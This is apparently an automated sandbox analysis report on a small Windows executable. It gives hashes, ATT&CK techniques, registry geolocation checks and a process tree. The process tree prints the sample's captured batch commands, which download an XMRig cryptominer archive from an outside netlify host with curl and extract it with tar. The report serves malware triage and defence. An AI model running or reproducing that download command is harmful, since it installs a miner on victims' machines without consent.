4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
1662s
max time network
1173s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 21:08

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General

Target

test - Copy (2).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	test - Copy (2).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeManageVolumePrivilege	4636	svchost.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3148 wrote to memory of 1476	3148	test - Copy (2).exe	86
PID 3148 wrote to memory of 1476	3148	test - Copy (2).exe	86
PID 1476 wrote to memory of 4924	1476	cmd.exe	89
PID 1476 wrote to memory of 4924	1476	cmd.exe	89
PID 1476 wrote to memory of 3712	1476	cmd.exe	100
PID 1476 wrote to memory of 3712	1476	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\test - Copy (2).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (2).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zkCf4xdb.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:4924
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:3712

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:1504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\zkCf4xdb.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
memory/3148-0-0x0000000000C40000-0x0000000000C48000-memory.dmp

Filesize
32KB

Download
memory/3148-3-0x00007FFD19070000-0x00007FFD19B31000-memory.dmp

Filesize
10.8MB

Download
memory/3148-8-0x00007FFD19070000-0x00007FFD19B31000-memory.dmp

Filesize
10.8MB

Download
memory/4636-9-0x000001FCA5C40000-0x000001FCA5C50000-memory.dmp

Filesize
64KB

Download
memory/4636-25-0x000001FCA5D40000-0x000001FCA5D50000-memory.dmp

Filesize
64KB

Download
memory/4636-41-0x000001FCAE020000-0x000001FCAE021000-memory.dmp

Filesize
4KB

Download
memory/4636-43-0x000001FCAE050000-0x000001FCAE051000-memory.dmp

Filesize
4KB

Download
memory/4636-44-0x000001FCAE050000-0x000001FCAE051000-memory.dmp

Filesize
4KB

Download
memory/4636-45-0x000001FCAE160000-0x000001FCAE161000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis